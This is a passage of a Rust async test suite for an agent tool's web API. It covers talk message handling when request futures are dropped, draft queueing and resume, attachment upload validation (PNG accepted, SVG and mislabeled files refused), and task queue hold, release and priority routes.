6083    /// handler make a second, separate disk round trip before spawning the
6084    /// agent's reply task. A future dropped in that gap left a message
6085    /// recorded on disk with no reply task ever started and no way back short
6086    /// of a fresh message - and the gap was not even the whole story: *any*
6087    /// `.await` in this handler, including the very first one, is a point
6088    /// where a drop can land after the awaited work already finished but
6089    /// before this handler's own code resumes to act on it. `record` now
6090    /// runs inside the task `tokio::spawn` hands to the runtime before this
6091    /// handler ever awaits anything of its own again, so there is nothing
6092    /// left in *this* handler's future for a disconnect to interrupt between
6093    /// the message landing on disk and the reply task starting.
6094    ///
6095    /// A real socket disconnect cannot be relied on to land in the old gap
6096    /// from a test - over loopback, `talk_say` typically finishes before the
6097    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
6098    /// same failure mode directly: it drops the task's future at whatever
6099    /// point it has reached, exactly what axum does to the handler future,
6100    /// without needing to win a real network race. Sweeping the delay before
6101    /// aborting samples a range of points the task's execution can be at,
6102    /// including where the old code sat waiting on its second disk round
6103    /// trip - confirmed by reverting this fix locally and watching this same
6104    /// sweep catch a talk stuck with the operator's turn recorded and no
6105    /// reply ever following.
6106    #[tokio::test]
6107    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6108        let tmp = TempDir::new().expect("tempdir");
6109        let repo = tmp.path().join("repo");
6110        std::fs::create_dir_all(&repo).expect("repo dir");
6111        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6112        let home = TempDir::new().expect("temp home");
6113        let talks = Talks::at(home.path().join("talks"));
6114        let ui = Arc::new(
6115            Ui::new(
6116                Queue::at(home.path().join("queue")),
6117                Questions::at(home.path().join("questions")),
6118                talks.clone(),
6119                home.path().join("runs"),
6120                home.path().to_path_buf(),
6121                repo.clone(),
6122            )
6123            .with_worktrees_root(home.path().join("wt")),
6124        );
6125        let cfg = config_for(&repo).await.expect("discover config");
6126
6127        for delay in 0..40u32 {
6128            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6129            let id = talk.id.clone();
6130
6131            let handler = tokio::spawn(talk_say(
6132                State(Arc::clone(&ui)),
6133                Path(id.clone()),
6134                Ok(Json(NewTalkTurn {
6135                    text: "what does the queue module do?".to_owned(),
6136                    attachments: Vec::new(),
6137                })),
6138            ));
6139            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6140            handler.abort();
6141            // Wait out the abort so the next iteration's talk does not race
6142            // this one's still-unwinding turn guard.
6143            let _ = handler.await;
6144
6145            let mut turns = 0;
6146            for _ in 0..SETTLE_STEPS {
6147                if let Ok(fresh) = talks.get(&id) {
6148                    turns = fresh.turns.len();
6149                    if turns != 1 {
6150                        break;
6151                    }
6152                }
6153                tokio::time::sleep(Duration::from_millis(10)).await;
6154            }
6155            assert_ne!(
6156                turns, 1,
6157                "delay {delay}: talk {id} recorded the operator's turn but \
6158                 the agent never answered - the reply task was never \
6159                 started after the handler future was dropped"
6160            );
6161        }
6162    }
6163
6164    /// The same drop, landing on `talk_say`'s other durable write.
6165    ///
6166    /// When a turn is already running, the busy branch persists the
6167    /// operator's text as a queued draft and then reclaims the turn slot if
6168    /// the holder gave it up in the meantime - and whoever reclaims owes that
6169    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
6170    /// which finishes whether or not the future awaiting it is still there,
6171    /// so a handler dropped at that `.await` used to leave the draft written
6172    /// to disk with the reclaimed guard dropped unread and no drainer ever
6173    /// started: the message sat queued until some unrelated later `say`
6174    /// happened to pick it up.
6175    ///
6176    /// This used to drive the handler future by hand, polling it a fixed
6177    /// number of times to park it at the `.await` where it asks for the turn
6178    /// and finds it busy, before the reclaim's slot-free case could be set up
6179    /// underneath it. That assumed a fixed number of polls lands at a fixed
6180    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
6181    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
6182    /// poll, so any number of this handler's several `blocking` awaits can
6183    /// collapse into one poll under load, landing the drive somewhere other
6184    /// than intended - including, occasionally, straight past the handler's
6185    /// own completion, which made polling it again panic with "async fn
6186    /// resumed after completion". No poll count fixes that; the handler's
6187    /// progress simply is not something a caller outside it can observe by
6188    /// counting.
6189    ///
6190    /// [`BusyQueueGate`] replaces the poll count with a real stop point
6191    /// inside the write itself, so the interleaving under test is pinned by
6192    /// an event instead of a guess: the gate fires only once the handler has
6193    /// actually decided `Busy` and is about to persist the draft, and it
6194    /// blocks that write until the test lets it through. Between those two
6195    /// moments the test drains the turn the handler found busy - through
6196    /// `drain_loop`, the protocol's other half - and then aborts the handler
6197    /// task outright, the same way axum drops a disconnected request's
6198    /// future. The write, and the reclaim it may do, run to completion
6199    /// regardless: they live in the `tokio::spawn` task the busy branch hands
6200    /// to the runtime before ever touching the gate, wholly independent of
6201    /// whether the handler that started it is still around - which is what
6202    /// this test is actually checking. A drainer other than that reclaim
6203    /// cannot exist here: the test's own `drain_loop` call happens before the
6204    /// gate opens, so it runs while the queue is still empty and hands the
6205    /// turn straight back rather than draining anything, closing off the
6206    /// possibility of the final assertion passing without the reclaim ever
6207    /// having done its job.
6208    #[tokio::test]
6209    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6210        let tmp = TempDir::new().expect("tempdir");
6211        let repo = tmp.path().join("repo");
6212        std::fs::create_dir_all(&repo).expect("repo dir");
6213        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6214        let home = TempDir::new().expect("temp home");
6215        let talks = Talks::at(home.path().join("talks"));
6216        let ui = Arc::new(
6217            Ui::new(
6218                Queue::at(home.path().join("queue")),
6219                Questions::at(home.path().join("questions")),
6220                talks.clone(),
6221                home.path().join("runs"),
6222                home.path().to_path_buf(),
6223                repo.clone(),
6224            )
6225            .with_worktrees_root(home.path().join("wt")),
6226        );
6227        let cfg = config_for(&repo).await.expect("discover config");
6228
6229        for attempt in 0..3u32 {
6230            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6231            let id = talk.id.clone();
6232            // A turn is already running, which is what sends `talk_say` down
6233            // the busy branch.
6234            let turn_guard = ui
6235                .begin_talk_turn(&id)
6236                .expect("claim the turn")
6237                .expect("a fresh talk owes nobody a turn");
6238
6239            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6240            let (release_tx, release_rx) = std::sync::mpsc::channel();
6241            ui.set_busy_queue_gate(BusyQueueGate {
6242                reached: reached_tx,
6243                release: release_rx,
6244            });
6245
6246            let handler = tokio::spawn(talk_say(
6247                State(Arc::clone(&ui)),
6248                Path(id.clone()),
6249                Ok(Json(NewTalkTurn {
6250                    text: "what does the queue module do?".to_owned(),
6251                    attachments: Vec::new(),
6252                })),
6253            ));
6254
6255            // Wait for the busy branch to actually reach the gate, rather
6256            // than for any fixed number of polls of anything - a bounded
6257            // wait rather than a bare `.await` so a regression that never
6258            // reaches the gate fails the test instead of hanging it.
6259            tokio::time::timeout(Duration::from_secs(5), reached_rx)
6260                .await
6261                .unwrap_or_else(|_| {
6262                    panic!(
6263                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6264                    )
6265                })
6266                .expect("the busy branch dropped the gate without using it");
6267
6268            // The turn that was running now finishes and gives the slot up
6269            // the way a real one does - through `drain_loop`, which finds
6270            // nothing queued yet (the write is still held at the gate) and
6271            // releases. The handler, parked inside `spawn_blocking` on the
6272            // other side of the gate, still believes the talk is busy -
6273            // exactly the interleaving the reclaim exists for.
6274            let running = talks.get(&id).expect("reload talk");
6275            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6276
6277            // Drop the handler future now, the way a reloading phone drops
6278            // it: suspended waiting on the busy branch's answer, having
6279            // itself made no more progress since it handed the write off.
6280            handler.abort();
6281            let _ = handler.await;
6282
6283            // Only now let the gated write proceed. It persists the draft
6284            // and reclaims the now-free slot from inside the task the busy
6285            // branch already spawned - unaffected by the handler's abort
6286            // above, since that task was independent of the handler's own
6287            // future from the moment it was spawned.
6288            let _ = release_tx.send(());
6289
6290            // A settled talk: the draft drained into an operator turn and
6291            // answered.
6292            let mut fresh = talks.get(&id).expect("reload talk");
6293            for _ in 0..SETTLE_STEPS {
6294                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6295                    break;
6296                }
6297                tokio::time::sleep(Duration::from_millis(10)).await;
6298                fresh = talks.get(&id).expect("reload talk");
6299            }
6300            assert!(
6301                fresh.pending.is_empty() && fresh.turns.len() == 2,
6302                "attempt {attempt}: talk {id} left the operator's text queued \
6303                 with no drainer - the reclaimed turn was dropped along with \
6304                 the handler future (pending {:?}, {} turns)",
6305                fresh.pending,
6306                fresh.turns.len()
6307            );
6308        }
6309    }
6310
6311    #[tokio::test]
6312    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6313        let (_tmp, _repo, f) = talk_fixture().await;
6314        let id = f.post("/api/talks", None).await.json()["id"]
6315            .as_str()
6316            .expect("id")
6317            .to_owned();
6318        let store = f.talks();
6319        let mut recovered = store.get(&id).expect("opened talk");
6320        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6321            .expect("persist pending draft without a live turn");
6322
6323        let edited = f
6324            .post(
6325                &format!("/api/talks/{id}/pending/edit"),
6326                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6327            )
6328            .await;
6329        assert_eq!(edited.status, 200, "{}", edited.body);
6330        assert!(edited.json()["thinking"].as_bool().unwrap());
6331
6332        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6333        for _ in 0..SETTLE_STEPS {
6334            if detail["turns"].as_array().expect("turns").len() == 2 {
6335                break;
6336            }
6337            tokio::time::sleep(Duration::from_millis(10)).await;
6338            detail = f.get(&format!("/api/talks/{id}")).await.json();
6339        }
6340        let turns = detail["turns"].as_array().expect("turns");
6341        assert_eq!(
6342            turns.len(),
6343            2,
6344            "the recovered draft must run once: {detail}"
6345        );
6346        assert_eq!(turns[0]["body"], "corrected");
6347        assert_eq!(detail["pending"], "");
6348    }
6349
6350    #[tokio::test]
6351    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6352        let tmp = TempDir::new().expect("tempdir");
6353        let repo = tmp.path().join("repo");
6354        std::fs::create_dir_all(&repo).expect("repo dir");
6355        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6356        let f = Fixture::with_repo(repo).await;
6357        let id = f.post("/api/talks", None).await.json()["id"]
6358            .as_str()
6359            .expect("id")
6360            .to_owned();
6361        let store = f.talks();
6362        let mut recovered = store.get(&id).expect("opened talk");
6363        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6364            .expect("persist pending draft without a live turn");
6365
6366        let refused = f
6367            .post(
6368                &format!("/api/talks/{id}/say"),
6369                Some(r#"{"text":"new message"}"#),
6370            )
6371            .await;
6372        assert_eq!(refused.status, 409, "{}", refused.body);
6373        assert!(refused.body.contains("resume"), "{}", refused.body);
6374        let saved = store.get(&id).expect("draft remains after refusal");
6375        assert!(saved.turns.is_empty());
6376        assert_eq!(saved.pending, "saved before restart");
6377
6378        let say_path = format!("/api/talks/{id}/say");
6379        let (first, second) = tokio::join!(
6380            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6381            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6382        );
6383        assert_eq!(first.status, 409, "{}", first.body);
6384        assert_eq!(second.status, 409, "{}", second.body);
6385        let saved = store
6386            .get(&id)
6387            .expect("draft remains after concurrent refusals");
6388        assert!(saved.turns.is_empty());
6389        assert_eq!(saved.pending, "saved before restart");
6390
6391        let resumed = f
6392            .post(&format!("/api/talks/{id}/pending/resume"), None)
6393            .await;
6394        assert_eq!(resumed.status, 202, "{}", resumed.body);
6395        let duplicate = f
6396            .post(&format!("/api/talks/{id}/pending/resume"), None)
6397            .await;
6398        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6399
6400        for _ in 0..SETTLE_STEPS {
6401            if store.get(&id).expect("talk").turns.len() == 2 {
6402                break;
6403            }
6404            tokio::time::sleep(Duration::from_millis(10)).await;
6405        }
6406        let finished = store.get(&id).expect("finished talk");
6407        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6408        assert_eq!(finished.turns[0].body, "saved before restart");
6409        assert!(finished.pending.is_empty());
6410    }
6411
6412    #[tokio::test]
6413    async fn an_image_only_recovered_draft_resumes_without_text() {
6414        let (_tmp, _repo, f) = talk_fixture().await;
6415        let id = f.post("/api/talks", None).await.json()["id"]
6416            .as_str()
6417            .expect("id")
6418            .to_owned();
6419        let uploaded = f
6420            .post_bytes(
6421                &format!("/api/talks/{id}/attachments"),
6422                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6423                PNG_BYTES,
6424            )
6425            .await;
6426        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6427        let attachment = f
6428            .talks()
6429            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6430            .expect("attachment metadata")
6431            .expect("stored attachment");
6432        let store = f.talks();
6433        let mut recovered = store.get(&id).expect("opened talk");
6434        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6435
6436        let resumed = f
6437            .post(&format!("/api/talks/{id}/pending/resume"), None)
6438            .await;
6439        assert_eq!(resumed.status, 202, "{}", resumed.body);
6440        for _ in 0..SETTLE_STEPS {
6441            if store.get(&id).expect("talk").turns.len() == 2 {
6442                break;
6443            }
6444            tokio::time::sleep(Duration::from_millis(10)).await;
6445        }
6446        let finished = store.get(&id).expect("finished talk");
6447        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6448        assert!(finished.turns[0].body.is_empty());
6449        assert_eq!(finished.turns[0].attachments.len(), 1);
6450        assert!(finished.pending_attachments.is_empty());
6451    }
6452
6453    #[tokio::test]
6454    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6455        let (_tmp, _repo, f) = talk_fixture().await;
6456        let id = f.post("/api/talks", None).await.json()["id"]
6457            .as_str()
6458            .expect("id")
6459            .to_owned();
6460        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6461        assert_eq!(closed.status, 200, "{}", closed.body);
6462        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6463            .expect("serialize closed talk");
6464        for (path, body) in [
6465            (format!("/api/talks/{id}/pending/resume"), None),
6466            (
6467                format!("/api/talks/{id}/pending/clear"),
6468                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6469            ),
6470            (
6471                format!("/api/talks/{id}/pending/edit"),
6472                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6473            ),
6474            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6475        ] {
6476            let response = f.post(&path, body).await;
6477            assert_eq!(response.status, 409, "{}", response.body);
6478        }
6479        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6480            .expect("serialize closed talk");
6481        assert_eq!(
6482            after_clear, before_clear,
6483            "clear must not rewrite a closed talk"
6484        );
6485    }
6486
6487    /// Keeps both claims observable long enough to exercise the distinction
6488    /// between one busy talk and a globally locked Chat surface.
6489    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6490
6491    #[tokio::test]
6492    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6493        let tmp = TempDir::new().expect("tempdir");
6494        let repo = tmp.path().join("repo");
6495        std::fs::create_dir_all(&repo).expect("repo dir");
6496        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6497        let f = Fixture::with_repo(repo).await;
6498        let id_a = f.post("/api/talks", None).await.json()["id"]
6499            .as_str()
6500            .unwrap()
6501            .to_owned();
6502        let id_b = f.post("/api/talks", None).await.json()["id"]
6503            .as_str()
6504            .unwrap()
6505            .to_owned();
6506
6507        let a = f
6508            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6509            .await;
6510        assert_eq!(a.status, 202, "{}", a.body);
6511        assert_eq!(a.json()["thinking"], true);
6512        let b = f
6513            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6514            .await;
6515        assert_eq!(b.status, 202, "{}", b.body);
6516        assert_eq!(b.json()["thinking"], true);
6517
6518        let listed = f.get("/api/talks").await.json();
6519        for id in [&id_a, &id_b] {
6520            let view = listed
6521                .as_array()
6522                .unwrap()
6523                .iter()
6524                .find(|talk| talk["id"] == *id)
6525                .unwrap();
6526            assert_eq!(view["thinking"], true, "{listed}");
6527        }
6528        let repeated = f
6529            .post(
6530                &format!("/api/talks/{id_a}/say"),
6531                Some(r#"{"text":"again"}"#),
6532            )
6533            .await;
6534        assert_eq!(repeated.status, 202, "{}", repeated.body);
6535        assert_eq!(repeated.json()["pending"], "again");
6536    }
6537
6538    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
6539    /// few more, since real uploads are never exactly eight bytes.
6540    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6541
6542    #[tokio::test]
6543    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6544        let f = Fixture::start().await;
6545        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6546
6547        let res = f
6548            .post_bytes(
6549                &format!("/api/talks/{id}/attachments"),
6550                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6551                PNG_BYTES,
6552            )
6553            .await;
6554        assert_eq!(res.status, 201, "{}", res.body);
6555        let body = res.json();
6556        assert_eq!(body["name"], "shot.png");
6557        assert_eq!(body["mime"], "image/png");
6558        assert_eq!(body["bytes"], PNG_BYTES.len());
6559        let att_id = body["id"].as_str().expect("id").to_owned();
6560        assert_eq!(
6561            att_id.len(),
6562            32,
6563            "the id must never be a client-suppliable path: {att_id}"
6564        );
6565
6566        let got = f
6567            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6568            .await;
6569        assert_eq!(got.status, 200, "{}", got.body);
6570        assert_eq!(got.header("content-type"), Some("image/png"));
6571        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6572        assert_eq!(got.bytes, PNG_BYTES);
6573    }
6574
6575    #[tokio::test]
6576    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6577        let f = Fixture::start().await;
6578        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6579
6580        // SVG can carry a `<script>`, so it is never on the whitelist even
6581        // though it is a real IANA image type.
6582        let svg = f
6583            .post_bytes(
6584                &format!("/api/talks/{id}/attachments"),
6585                &[("Content-Type", "image/svg+xml")],
6586                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6587            )
6588            .await;
6589        assert!(
6590            (400..500).contains(&svg.status),
6591            "svg must be refused: {} {}",
6592            svg.status,
6593            svg.body
6594        );
6595        assert!(svg.body.contains("SVG"), "{}", svg.body);
6596
6597        let text = f
6598            .post_bytes(
6599                &format!("/api/talks/{id}/attachments"),
6600                &[("Content-Type", "text/plain")],
6601                b"just some text",
6602            )
6603            .await;
6604        assert!(
6605            (400..500).contains(&text.status),
6606            "an unlisted type must be refused: {} {}",
6607            text.status,
6608            text.body
6609        );
6610
6611        // The declared type is a real png, but the size check runs before
6612        // the bytes are even looked at.
6613        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6614        let big = f
6615            .post_bytes(
6616                &format!("/api/talks/{id}/attachments"),
6617                &[("Content-Type", "image/png")],
6618                &oversized,
6619            )
6620            .await;
6621        assert_eq!(
6622            big.status,
6623            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6624            "{}",
6625            big.body
6626        );
6627    }
6628
6629    #[tokio::test]
6630    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6631        let f = Fixture::start().await;
6632        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6633
6634        // A whitelisted `Content-Type`, but bytes that are not actually a
6635        // png - the declared header alone is never trusted.
6636        let res = f
6637            .post_bytes(
6638                &format!("/api/talks/{id}/attachments"),
6639                &[("Content-Type", "image/png")],
6640                b"<html>not a picture</html>",
6641            )
6642            .await;
6643        assert!((400..500).contains(&res.status), "{}", res.body);
6644    }
6645
6646    #[tokio::test]
6647    async fn an_unknown_attachment_id_is_a_404() {
6648        let f = Fixture::start().await;
6649        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6650
6651        let res = f
6652            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6653            .await;
6654        assert_eq!(res.status, 404, "{}", res.body);
6655    }
6656
6657    #[tokio::test]
6658    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6659        let f = Fixture::start().await;
6660        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6661
6662        let uploaded = f
6663            .post_bytes(
6664                &format!("/api/talks/{id}/attachments"),
6665                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6666                PNG_BYTES,
6667            )
6668            .await;
6669        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6670        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6671
6672        let res = f
6673            .post(
6674                &format!("/api/talks/{id}/say"),
6675                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6676            )
6677            .await;
6678        assert_eq!(res.status, 202, "{}", res.body);
6679        let queued = res.json();
6680        let turns = queued["turns"].as_array().expect("turns array");
6681        assert_eq!(
6682            turns.len(),
6683            1,
6684            "an empty body with an attachment is still a turn: {queued}"
6685        );
6686        assert_eq!(turns[0]["who"], "operator");
6687        assert_eq!(turns[0]["body"], "");
6688        let atts = turns[0]["attachments"]
6689            .as_array()
6690            .expect("attachments array");
6691        assert_eq!(atts.len(), 1);
6692        assert_eq!(atts[0]["id"], att_id);
6693        assert_eq!(atts[0]["mime"], "image/png");
6694
6695        // Not only in the response: `record` flushes to disk before the
6696        // agent's own turn is even spawned.
6697        let on_disk = f.talks().get(&id).expect("get");
6698        assert_eq!(on_disk.turns[0].attachments.len(), 1);
6699        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6700    }
6701
6702    #[tokio::test]
6703    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6704        let f = Fixture::start().await;
6705        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6706
6707        let res = f
6708            .post(
6709                &format!("/api/talks/{id}/say"),
6710                Some(&format!(
6711                    r#"{{"text":"hi","attachments":["{}"]}}"#,
6712                    "a".repeat(32)
6713                )),
6714            )
6715            .await;
6716        assert!((400..500).contains(&res.status), "{}", res.body);
6717        assert!(res.body.contains("unknown attachment"), "{}", res.body);
6718
6719        let on_disk = f.talks().get(&id).expect("get");
6720        assert!(
6721            on_disk.turns.is_empty(),
6722            "a rejected attachment id must not partially record the turn: {:?}",
6723            on_disk.turns
6724        );
6725    }
6726
6727    #[tokio::test]
6728    async fn talk_close_makes_the_talk_refuse_further_turns() {
6729        let f = Fixture::start().await;
6730        let id = seed_talk(&f, "20260904-014455-cd34", "open");
6731
6732        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6733        assert_eq!(closed.status, 200, "{}", closed.body);
6734        assert_eq!(closed.json()["status"], "closed");
6735
6736        // Idempotent: closing an already-closed talk is not an error.
6737        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6738        assert_eq!(closed_again.status, 200);
6739        assert_eq!(closed_again.json()["status"], "closed");
6740
6741        let said = f
6742            .post(
6743                &format!("/api/talks/{id}/say"),
6744                Some(r#"{"text":"too late"}"#),
6745            )
6746            .await;
6747        assert_eq!(said.status, 409, "{}", said.body);
6748    }
6749
6750    #[tokio::test]
6751    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6752        let (_tmp, _repo, f) = talk_fixture().await;
6753        let id = f.post("/api/talks", None).await.json()["id"]
6754            .as_str()
6755            .expect("id")
6756            .to_owned();
6757        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6758        assert_eq!(closed.status, 200, "{}", closed.body);
6759
6760        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6761        assert_eq!(reopened.status, 200, "{}", reopened.body);
6762        assert_eq!(reopened.json()["status"], "open");
6763
6764        // Idempotent: reopening an already-open talk is not an error.
6765        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6766        assert_eq!(reopened_again.status, 200);
6767        assert_eq!(reopened_again.json()["status"], "open");
6768
6769        let said = f
6770            .post(
6771                &format!("/api/talks/{id}/say"),
6772                Some(r#"{"text":"still there?"}"#),
6773            )
6774            .await;
6775        assert_eq!(
6776            said.status, 202,
6777            "a reopened talk accepts turns again: {}",
6778            said.body
6779        );
6780    }
6781
6782    #[tokio::test]
6783    async fn talk_reopen_on_an_unknown_id_is_404() {
6784        let f = Fixture::start().await;
6785        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6786        assert_eq!(res.status, 404, "{}", res.body);
6787    }
6788
6789    #[tokio::test]
6790    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6791        let f = Fixture::start().await;
6792        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6793
6794        let deleted = f.delete(&format!("/api/talks/{id}")).await;
6795        assert_eq!(deleted.status, 204, "{}", deleted.body);
6796
6797        let after = f.get(&format!("/api/talks/{id}")).await;
6798        assert_eq!(after.status, 404, "{}", after.body);
6799
6800        let listed = f.get("/api/talks").await.json();
6801        assert!(
6802            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6803            "a deleted talk must not linger in the list: {listed}"
6804        );
6805    }
6806
6807    #[tokio::test]
6808    async fn talk_delete_on_an_unknown_id_is_404() {
6809        let f = Fixture::start().await;
6810        let res = f.delete("/api/talks/nonexistent-id").await;
6811        assert_eq!(res.status, 404, "{}", res.body);
6812    }
6813
6814    #[tokio::test]
6815    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6816        let f = Fixture::start().await;
6817        let queue = f.queue();
6818        let mut task = Task::new(
6819            "spent".to_owned(),
6820            "Try again".to_owned(),
6821            PathBuf::from("/repo/magi"),
6822            Source::Human,
6823        );
6824        task.start("20260902-140502-bbbb".to_owned());
6825        task.fail("agent gave up", 9);
6826        queue.put(&mut task).expect("file the task");
6827
6828        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6829        assert_eq!(held.status, 200);
6830        assert_eq!(held.json()["status_str"], "held");
6831
6832        let released = f
6833            .post(&format!("/api/queue/{}/release", task.id), None)
6834            .await;
6835        assert_eq!(released.status, 200);
6836        assert_eq!(released.json()["status_str"], "queued");
6837        assert_eq!(
6838            released.json()["attempts"],
6839            0,
6840            "release is a real second chance, not an instant re-hold"
6841        );
6842        assert_eq!(
6843            queue.get(&task.id).expect("reload").status,
6844            TaskStatus::Queued,
6845            "the change is on disk, not only in the reply"
6846        );
6847        assert!(
6848            !f.home
6849                .path()
6850                .join("queue")
6851                .join(format!("{}.lock", task.id))
6852                .exists(),
6853            "the claim the mutation took is released again"
6854        );
6855    }
6856
6857    #[tokio::test]
6858    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6859        let f = Fixture::start().await;
6860        let queue = f.queue();
6861        let mut task = Task::new(
6862            "busy".to_owned(),
6863            "Running right now".to_owned(),
6864            PathBuf::from("/repo/magi"),
6865            Source::Human,
6866        );
6867        queue.put(&mut task).expect("file the task");
6868        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6869
6870        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6871
6872        assert_eq!(res.status, 409);
6873        assert_eq!(
6874            queue.get(&task.id).expect("reload").status,
6875            TaskStatus::Queued,
6876            "the refused hold changed nothing"
6877        );
6878    }
6879
6880    #[tokio::test]
6881    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6882        let f = Fixture::start().await;
6883        let queue = f.queue();
6884        let mut task = Task::new(
6885            "waiting on the migration".to_owned(),
6886            "Do the thing".to_owned(),
6887            PathBuf::from("/repo/magi"),
6888            Source::Human,
6889        );
6890        queue.put(&mut task).expect("file the task");
6891
6892        let held = f
6893            .post(
6894                &format!("/api/queue/{}/hold", task.id),
6895                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6896            )
6897            .await;
6898        assert_eq!(held.status, 200, "{}", held.body);
6899        assert_eq!(held.json()["status_str"], "held");
6900        assert_eq!(
6901            held.json()["hold_reason"],
6902            "waiting for 20260101-000000-aaaa to land"
6903        );
6904
6905        let listed = f.get("/api/queue").await.json();
6906        assert_eq!(
6907            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6908            "the card reads the reason off the same list route"
6909        );
6910
6911        // A hold with no body at all must keep working - most holds have no
6912        // reason to give.
6913        let mut plain = Task::new(
6914            "no reason given".to_owned(),
6915            "Do another thing".to_owned(),
6916            PathBuf::from("/repo/magi"),
6917            Source::Human,
6918        );
6919        queue.put(&mut plain).expect("file the task");
6920        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6921        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6922        assert!(held_plain.json()["hold_reason"].is_null());
6923
6924        let released = f
6925            .post(&format!("/api/queue/{}/release", task.id), None)
6926            .await;
6927        assert_eq!(released.status, 200);
6928        assert!(
6929            released.json()["hold_reason"].is_null(),
6930            "a release must clear the reason so the next hold does not inherit it"
6931        );
6932    }
6933
6934    #[tokio::test]
6935    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6936        let f = Fixture::start().await;
6937        let queue = f.queue();
6938        let mut older = Task::new(
